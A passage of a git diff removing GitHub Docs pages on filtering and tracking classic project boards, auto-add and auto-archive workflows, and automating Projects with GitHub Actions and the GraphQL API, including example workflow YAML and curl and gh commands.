a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md deleted file mode 100644 index ff01224aaa11..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 'Filtering cards on a {% data variables.product.prodname_project_v1 %}' -intro: 'You can filter the cards on a {% data variables.projects.projects_v1_board %} to search for specific cards or view a subset of the cards.' -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/filtering-cards-on-a-project-board - - /articles/filtering-cards-on-a-project-board - - /github/managing-your-work-on-github/filtering-cards-on-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: 'Filter cards on {% data variables.product.prodname_project_v1 %}' -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -On a card, you can click any assignee, milestone, or label to filter the {% data variables.projects.projects_v1_board %} by that qualifier. To clear the search, you can click the same assignee, milestone, or label again. - -You can also use the "Filter cards" search bar at the top of each {% data variables.projects.projects_v1_board %} to search for cards. You can filter cards using the following search qualifiers in any combination, or by simply typing some text you'd like to search for. - -* Filter cards by author using `author:USERNAME` -* Filter cards by assignee using `assignee:USERNAME` or `no:assignee` -* Filter cards by label using `label:LABEL`, `label:"MULTI-WORD LABEL NAME"`, or `no:label` -* Filter by milestone by using `milestone:MY-MILESTONE` -* Filter cards by state using `state:open`, `state:closed`, or `state:merged` -* Filter by review status using `review:none`, `review:required`, `review:approved`, or `review:changes_requested` -* Filter by check status using `status:pending`, `status:success`, or `status:failure` -* Filter cards by type using `type:issue`, `type:pr`, or `type:note` -* Filter cards by state and type using `is:open`, `is:closed`, or `is:merged`; and `is:issue`, `is:pr`, or `is:note` -* Filter cards by issues that are linked to a pull request by a closing reference using `linked:pr` -* Filter cards by repository in an organization-wide {% data variables.projects.projects_v1_board %} using `repo:ORGANIZATION/REPOSITORY` - -1. Navigate to the {% data variables.projects.projects_v1_board %} that contains the cards you want to filter. -1. Above the project card columns, click into the "Filter cards" search bar and type a search query to filter the cards. - -> [!TIP] -> You can drag and drop filtered cards or use keyboard shortcuts to move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %} - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board) diff --git a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md b/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md deleted file mode 100644 index 1ce3c25b3011..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'Tracking progress on your {% data variables.product.prodname_projects_v1 %}' -shortTitle: 'Tracking {% data variables.product.prodname_projects_v1 %}' -intro: 'Learn how to track your work on {% data variables.projects.projects_v1_board %}' -versions: - feature: projects-v1 -topics: - - Issues - - Projects -children: - - /adding-issues-and-pull-requests-to-a-project-board - - /adding-notes-to-a-project-board - - /tracking-progress-on-your-project-board - - /filtering-cards-on-a-project-board - - /archiving-cards-on-a-project-board -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} diff --git a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md b/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md deleted file mode 100644 index 91bd22fbc6d4..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: 'Tracking progress on your {% data variables.product.prodname_project_v1 %}' -intro: 'You can see the overall progress of your {% data variables.projects.projects_v1_board %} in a progress bar.' -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/tracking-progress-on-your-project-board - - /articles/tracking-progress-on-your-project-board - - /github/managing-your-work-on-github/tracking-progress-on-your-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: 'Track progress on {% data variables.product.prodname_project_v1 %}' -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -{% data reusables.project-management.project-progress-locations %} - -1. Navigate to the {% data variables.projects.projects_v1_board %} where you want to enable or disable project progress tracking. -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.click-edit-sidebar-menu-project-board %} -1. Select or deselect **Track project progress**. diff --git a/content/issues/planning-and-tracking-with-projects/automating-your-project/adding-items-automatically.md b/content/issues/planning-and-tracking-with-projects/automating-your-project/adding-items-automatically.md deleted file mode 100644 index 06aa1b6768fb..000000000000 --- a/content/issues/planning-and-tracking-with-projects/automating-your-project/adding-items-automatically.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Adding items automatically -intro: 'You can configure your project''s built-in workflows to automatically add items from {% ifversion projects-v2-duplicate-auto-add %}repositories{% else%}a repository{% endif %} that match a filter.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Projects ---- -{% ifversion ghes %} - -{% data reusables.projects.enable_enterprise_workflows %} - -{% endif %} - -## About automatically adding items - -You can configure your project's built-in workflows to automatically add new items as they are created or updated in a repository. You can define a filter to only add items that meet your criteria. {% ifversion projects-v2-duplicate-auto-add %} You can also create multiple auto-add workflows, each workflow can have a unique filter and target a different repository. {% endif %} - -When you enable the auto-add workflow, existing items matching your criteria will not be added. The workflow will add items when created or updated if the item matches your filter. For more information on manually adding items, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project#bulk-adding-issues-and-pull-requests). - -The auto-add workflow supports a subset of filters. You can use the following filters when configuring your workflow. - -| Qualifier | Possible values -| --- | --- | -| `is` | open, closed, merged, draft, issue, pr -| `label` | "label name" -| `reason` | completed, reopened, "not planned" -| `assignee` | {% data variables.product.github %} username -| `no` | label, assignee, reason - -All filters, other than `no`, support negation. For example, you could use `-label:bug` to add issues that do not have the "bug" label. - -{% ifversion projects-v2-duplicate-auto-add %} - -The auto-add workflow is limited per plan. - -| Product | Maximum auto-add workflows | -|------- | ------- | -| {% data variables.product.prodname_free_user %} | 1 | -| {% data variables.product.prodname_pro %} | 5 | -| {% data variables.product.prodname_team %} | 5 | -| {% data variables.product.prodname_ghe_cloud %} | 20 | -| {% data variables.product.prodname_ghe_server %} | 20 | - -{% endif %} - -## Configuring the auto-add workflow in your project - -{% data reusables.projects.access-workflows %} -1. In the "Default workflows" list, click **Auto-add to project**{% ifversion projects-v2-duplicate-auto-add %} or one of the auto-add workflows you have previously duplicated{% endif %}. - -1. To start editing the workflow, in the top right, click **Edit**. - - ![Screenshot showing the workflow menu bar. The "Edit" button is highlighted with an orange rectangle.](/assets/images/help/projects-v2/workflow-start-editing.png) - -1. Under "Filters", select the repository you want to add items from. -1. Next to the repository selection, type the filter criteria you want items to match before they are automatically added to your project. -1. To enable the new workflow, click **Save and turn on workflow**. - -{% ifversion projects-v2-duplicate-auto-add %} - -## Duplicating the auto-add workflow - -You can create additional duplicates of the auto-add workflow, up to a maximum defined for your plan (see the table earlier in this article). Each workflow can target a different repository. You can target the same repository with multiple workflows if the filter is unique for each workflow. - -Once you have duplicated a workflow, you can click **Edit** to start making changes to it. For more information, see [Configuring the auto-add workflow in your project](#configuring-the-auto-add-workflow-in-your-project). - -{% data reusables.projects.access-workflows %} -1. In the list of workflows, next to "Auto-add to project" click {% octicon "kebab-horizontal" %}. - - ![Screenshot showing the list of workflows. The ellipsis button next to the auto-add workflow is highlighted with an orange rectangle.](/assets/images/help/projects-v2/workflow-add-menu.png) - -1. In the menu, click **{% octicon "duplicate" %} Duplicate workflow**. -1. To save your new workflow, when prompted, type the name you want to use for the new workflow. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project) -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations) diff --git a/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md b/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md deleted file mode 100644 index c56bd5d569eb..000000000000 --- a/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Archiving items automatically -shortTitle: Archiving items automatically -intro: You can configure your project's built-in workflows to automatically archive items that match a filter. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Projects ---- - -{% ifversion ghes %} - -{% data reusables.projects.enable_enterprise_workflows %} - -{% endif %} - -## About automatically archiving items - -You can configure your project's built-in workflows to automatically archive items. Archiving items will help you stay below the limit of {% data variables.projects.item_limit %} items in each project. - -The auto-archive workflow supports a subset of filters. You can use the following filters when configuring your workflow. - -| Qualifier | Possible values -| --- | --- | -| `is` | `open`, `closed`, `merged`, `draft`, `issue`, `pr` -| `reason` | `completed`, `reopened`, `"not planned"` -| `updated` | <@today-14d (the last 14 days), <@today-3w (the last 3 weeks), <@today-1m (the last month) - -{% data reusables.projects.last-updated-explanation %} - -Additionally, items are also marked as updated when field values in your project are changed. - -When you enable automatic archiving for issues or pull requests, items in your project that already meet your criteria will also be archived. There may be some delay in archiving large numbers of items that already meet the criteria. - -Projects also have a limit on the number of archived items they can contain. Your project can contain up to {% data variables.projects.archived_item_limit %} archived items. For more information on permanently deleting items, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project#deleting-items). - -## Configuring automatic archiving in your project - -{% data reusables.projects.access-workflows %} -1. In the "Default workflows" list, click **Auto-archive items**. -1. In the top right, click **Edit**. - - ![Screenshot showing a project's menu bar. The "Edit" button is highlighted with an orange rectangle.](/assets/images/help/projects-v2/workflow-start-editing.png) - -1. In the "Filters" field, type the filter criteria you want to use to automatically archive items. You can only use the `is`, `reason`, and `updated` filters. -1. To save your changes and enable the workflow, click **Save and turn on workflow**. - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project) -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations) diff --git a/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md b/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md deleted file mode 100644 index 0338113dbcb5..000000000000 --- a/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md +++ /dev/null @@ -1,320 +0,0 @@ ---- -title: 'Automating {% data variables.product.prodname_projects_v2 %} using Actions' -shortTitle: Automating with Actions -intro: 'You can use {% data variables.product.prodname_actions %} to automate your projects.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/automating-projects -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true -layout: inline ---- - - -## {% data variables.product.prodname_actions %} workflows - -This article demonstrates how to use the GraphQL API and {% data variables.product.prodname_actions %} to add a pull request to an organization project. In the example workflows, when the pull request is marked as "ready for review", a new task is added to the project with a "Status" field set to "Todo", and the current date is added to a custom "Date posted" field. - -You can copy one of the workflows below and modify it as described in the table below to meet your needs. - -A project can span multiple repositories, but a workflow is specific to a repository. Add the workflow to each repository that you want your project to track. For more information about creating workflow files, see [AUTOTITLE](/actions/quickstart). - -This article assumes that you have a basic understanding of {% data variables.product.prodname_actions %}. For more information about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions). - -For more information about other changes you can make to your project through the API, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects). - -You may also want to use the **actions/add-to-project** workflow, which is maintained by {% data variables.product.company_short %} and will add the current issue or pull request to the project specified. For more information, see the [actions/add-to-project](https://github.com/actions/add-to-project) repository and README. - -> [!NOTE] -> `GITHUB_TOKEN` is scoped to the repository level and cannot access {% data variables.projects.projects_v2 %}. To access {% data variables.projects.projects_v2 %} you can either create a {% data variables.product.prodname_github_app %} (recommended for organization projects) or a {% data variables.product.pat_generic %} (recommended for user projects). Workflow examples for both approaches are shown below. - -## Example workflow authenticating with a {% data variables.product.prodname_github_app %} - -For more information about authenticating in a {% data variables.product.prodname_actions %} workflow with a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). - -1. Create a {% data variables.product.prodname_github_app %} or choose an existing {% data variables.product.prodname_github_app %} owned by your organization. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). -1. Give your {% data variables.product.prodname_github_app %} read and write permissions to organization projects. For this specific example, your {% data variables.product.prodname_github_app %} will also need read permissions to repository pull requests and repository issues. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/editing-a-github-apps-permissions). - - > [!NOTE] - > You can control your app's permission to organization projects and to repository projects. You must give permission to read and write organization projects; permission to read and write repository projects will not be sufficient. - -1. Install the {% data variables.product.prodname_github_app %} in your organization. Install it for all repositories that your project needs to access. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository). -1. Store your {% data variables.product.prodname_github_app %}'s ID as a configuration variable in your repository or organization. In the following workflow, replace `APP_ID` with the name of the configuration variable. You can find your app ID on the settings page for your app or through the App API. For more information, see [AUTOTITLE](/rest/apps#get-an-app). For more information about configuration variables, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -1. Generate a private key for your app. Store the contents of the resulting file as a secret in your repository or organization. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following workflow, replace `APP_PEM` with the name of the secret. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). For more information about storing secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). -1. In the following workflow, replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. In order for this specific example to work, your project must also have a "Date posted" date field. - -```yaml annotate copy -# -name: Add PR to project -# This workflow runs whenever a pull request in the repository is marked as "ready for review". -on: - pull_request: - types: - - ready_for_review -jobs: - track_pr: - runs-on: ubuntu-latest - steps: - # Uses the [actions/create-github-app-token](https://github.com/marketplace/actions/create-github-app-token) action to generate an installation access token for your app from the app ID and private key. The installation access token is accessed later in the workflow as `{% raw %}${{ steps.generate-token.outputs.token }}{% endraw %}`. - # - # Replace `APP_ID` with the name of the configuration variable that contains your app ID. - # - # Replace `APP_PEM` with the name of the secret that contains your app private key. - - name: Generate token - id: generate-token - uses: actions/create-github-app-token@v1 - with: - app-id: {% raw %}${{ vars.APP_ID }}{% endraw %} - private-key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} - # Sets environment variables for this step. - # - # Replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. - # - # Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. - - name: Get project data - env: - GH_TOKEN: {% raw %}${{ steps.generate-token.outputs.token }}{% endraw %} - ORGANIZATION: YOUR_ORGANIZATION - PROJECT_NUMBER: YOUR_PROJECT_NUMBER - # Uses [{% data variables.product.prodname_cli %}](https://cli.github.com/manual/) to query the API for the ID of the project and return the name and ID of the first 20 fields in the project. `fields` returns a union and the query uses inline fragments (`... on`) to return information about any `ProjectV2Field` and `ProjectV2SingleSelectField` fields. The response is stored in a file called `project_data.json`. - run: | - gh api graphql -f query=' - query($org: String!, $number: Int!) { - organization(login: $org){ - projectV2(number: $number) { - id - fields(first:20) { - nodes { - ... on ProjectV2Field { - id - name - } - ... on ProjectV2SingleSelectField { - id - name - options { - id - name - } - } - } - } - } - } - }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json - - # Parses the response from the API query and stores the relevant IDs as environment variables. Modify this to get the ID for different fields or options. For example: - # - # - To get the ID of a field called `Team`, add `echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV`. - # - To get the ID of an option called `Octoteam` for the `Team` single select field, add `echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") |.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV`. - # - # **Note:** This workflow assumes that you have a project with a single select field called "Status" that includes an option called "Todo" and a date field called "Date posted". You must modify this section to match the fields that are present in your table. - - echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV - echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV - echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV - echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV - -# Sets environment variables for this step. `GH_TOKEN` is the token generated in the first step. `PR_ID` is the ID of the pull request that triggered this workflow. - - name: Add PR to project - env: - GH_TOKEN: {% raw %}${{ steps.generate-token.outputs.token }}{% endraw %} - PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} - # Uses [{% data variables.product.prodname_cli %}](https://cli.github.com/manual/) and the API to add the pull request that triggered this workflow to the project. The `jq` flag parses the response to get the ID of the created item. - run: | - item_id="$( gh api graphql -f query=' - mutation($project:ID!, $pr:ID!) { - addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) { - item { - id - } - } - }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')" - - # Stores the ID of the created item as an environment variable. - echo 'ITEM_ID='$item_id >> $GITHUB_ENV - -# Saves the current date as an environment variable in `yyyy-mm-dd` format. - - name: Get date - run: echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV - -# Sets environment variables for this step. `GH_TOKEN` is the token generated in the first step. - - name: Set fields - env: - GH_TOKEN: {% raw %}${{ steps.generate-token.outputs.token }}{% endraw %} - # Sets the value of the `Status` field to `Todo`. Sets the value of the `Date posted` field. - run: | - gh api graphql -f query=' - mutation ( - $project: ID! - $item: ID! - $status_field: ID! - $status_value: String! - $date_field: ID! - $date_value: Date! - ) { - set_status: updateProjectV2ItemFieldValue(input: { - projectId: $project - itemId: $item - fieldId: $status_field - value: { - singleSelectOptionId: $status_value - } - }) { - projectV2Item { - id - } - } - set_date_posted: updateProjectV2ItemFieldValue(input: { - projectId: $project - itemId: $item - fieldId: $date_field - value: { - date: $date_value - } - }) { - projectV2Item { - id - } - } - }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent -``` - -## Example workflow authenticating with a {% data variables.product.pat_generic %} - -1. Create a {% data variables.product.pat_v1 %} with the `project` and `repo` scopes. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). -1. Save the {% data variables.product.pat_generic %} as a secret in your repository or organization. -1. In the following workflow, replace `YOUR_TOKEN` with the name of the secret. Replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. - -```yaml annotate copy -# This workflow runs whenever a pull request in the repository is marked as "ready for review". -name: Add PR to project -on: - pull_request: - types: - - ready_for_review -jobs: - track_pr: - runs-on: ubuntu-latest - steps: - # Sets environment variables for this step. - # - # If you are using a {% data variables.product.pat_generic %}, replace `YOUR_TOKEN` with the name of the secret that contains your {% data variables.product.pat_generic %}. - # - # Replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. - # - # Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. - - name: Get project data - env: - GH_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} - ORGANIZATION: YOUR_ORGANIZATION - PROJECT_NUMBER: YOUR_PROJECT_NUMBER - # Uses [{% data variables.product.prodname_cli %}](https://cli.github.com/manual/) to query the API for the ID of the project and return the name and ID of the first 20 fields in the project. `fields` returns a union and the query uses inline fragments (`... on`) to return information about any `ProjectV2Field` and `ProjectV2SingleSelectField` fields. The response is stored in a file called `project_data.json`. - run: | - gh api graphql -f query=' - query($org: String!, $number: Int!) { - organization(login: $org){ - projectV2(number: $number) { - id - fields(first:20) { - nodes { - ... on ProjectV2Field { - id - name - } - ... on ProjectV2SingleSelectField { - id - name - options { - id - name - } - } - } - } - } - } - }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json - - # Parses the response from the API query and stores the relevant IDs as environment variables. Modify this to get the ID for different fields or options. For example: - # - # - To get the ID of a field called `Team`, add `echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV`. - # - To get the ID of an option called `Octoteam` for the `Team` single select field, add `echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") |.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV`. - # - # **Note:** This workflow assumes that you have a project with a single select field called "Status" that includes an option called "Todo" and a date field called "Date posted". You must modify this section to match the fields that are present in your table. - - echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV - echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV - echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV - echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV - -# Sets environment variables for this step. Replace `YOUR_TOKEN` with the name of the secret that contains your {% data variables.product.pat_generic %}. - - name: Add PR to project - env: - GH_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} - PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} - # Uses [{% data variables.product.prodname_cli %}](https://cli.github.com/manual/) and the API to add the pull request that triggered this workflow to the project. The `jq` flag parses the response to get the ID of the created item. - run: | - item_id="$( gh api graphql -f query=' - mutation($project:ID!, $pr:ID!) { - addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) { - item { - id - } - } - }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')" - - # Stores the ID of the created item as an environment variable. - echo 'ITEM_ID='$item_id >> $GITHUB_ENV - -# Saves the current date as an environment variable in `yyyy-mm-dd` format. - - name: Get date - run: echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV - -# Sets environment variables for this step. Replace `YOUR_TOKEN` with the name of the secret that contains your {% data variables.product.pat_generic %}. - - name: Set fields - env: - GH_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} - # Sets the value of the `Status` field to `Todo`. Sets the value of the `Date posted` field. - run: | - gh api graphql -f query=' - mutation ( - $project: ID! - $item: ID! - $status_field: ID! - $status_value: String! - $date_field: ID! - $date_value: Date! - ) { - set_status: updateProjectV2ItemFieldValue(input: { - projectId: $project - itemId: $item - fieldId: $status_field - value: { - singleSelectOptionId: $status_value - } - }) { - projectV2Item { - id - } - } - set_date_posted: updateProjectV2ItemFieldValue(input: { - projectId: $project - itemId: $item - fieldId: $date_field - value: { - date: $date_value - } - }) { - projectV2Item { - id - } - } - }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent - -``` diff --git a/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md b/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md deleted file mode 100644 index eff4e1d39d60..000000000000 --- a/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: 'Automating your {% data variables.projects.project_v2 %}' -shortTitle: 'Automating {% data variables.projects.projects_v2 %}' -intro: 'Learn how to use the built-in workflows, {% data variables.product.prodname_actions %}, and the API to automate your projects.' -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /using-the-built-in-automations - - /using-the-api-to-manage-projects - - /automating-projects-using-actions - - /adding-items-automatically - - /archiving-items-automatically -allowTitleToDifferFromFilename: true ---- - diff --git a/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md b/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md deleted file mode 100644 index c59a7abe5ebd..000000000000 --- a/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md +++ /dev/null @@ -1,833 +0,0 @@ ---- -title: 'Using the API to manage {% data variables.product.prodname_projects_v2 %}' -shortTitle: Automating with the API -intro: You can use the GraphQL API to automate your projects. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -This article demonstrates how to use the GraphQL API to manage a project. For more information about how to use the API in a {% data variables.product.prodname_actions %} workflow, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions). For a full list of the available data types, see [AUTOTITLE](/graphql/reference). - -## Authentication - -{% curl %} - -In all of the following `curl` command examples, replace `TOKEN` with a token that has the `read:project` scope (for queries) or `project` scope (for queries and mutations). The token can be a {% data variables.product.pat_v1 %} for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a {% data variables.product.pat_generic %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-an-installation-access-token-for-a-github-app). - -When using an installation access token for a {% data variables.product.prodname_github_app %}, some GraphQL mutations require additional permissions. For example, when using the `createProjectV2` mutation, if you specify a `repositoryId` input parameter, the `Contents` permission for that repository is also required in order to link the project to the target repository. - -{% endcurl %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -Before running {% data variables.product.prodname_cli %} commands, you must authenticate by running `gh auth login --scopes "project"`. If you only need to read, but not edit, projects, you can provide the `read:project` scope instead of `project`. For more information on command line authentication, see [gh auth login](https://cli.github.com/manual/gh_auth_login). - -{% endcli %} - -{% cli %} - -## Using variables - -In all of the following examples, you can use variables to simplify your scripts. Use `-F` to pass a variable that is a number, Boolean, or null. Use `-f` for other variables. For example, - -```shell -my_org="octo-org" -my_num=5 -gh api graphql -f query=' - query($organization: String! $number: Int!){ - organization(login: $organization){ - projectV2(number: $number) { - id - } - } - }' -f organization=$my_org -F number=$my_num -``` - -For more information, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql#working-with-variables). - -{% endcli %} - -## Finding information about projects - -Use queries to get data about projects. For more information, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql#about-queries). - -### Finding the node ID of an organization project - -To update your project through the API, you will need to know the node ID of the project. - -You can find the node ID of an organization project if you know the organization name and project number. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `NUMBER` with the project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"query{organization(login: \"ORGANIZATION\") {projectV2(number: NUMBER){id}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - query{ - organization(login: "ORGANIZATION"){ - projectV2(number: NUMBER) { - id - } - } - }' -``` - -{% endcli %} - -You can also find the node ID of all projects in your organization. The following example will return the node ID and title of the first 20 projects in an organization. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"{organization(login: \"ORGANIZATION\") {projectsV2(first: 20) {nodes {id title}}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - query{ - organization(login: "ORGANIZATION") { - projectsV2(first: 20) { - nodes { - id - title - } - } - } - }' -``` - -{% endcli %} - -### Finding the node ID of a user project - -To update your project through the API, you will need to know the node ID of the project. - -You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. For example, `octocat`. Replace 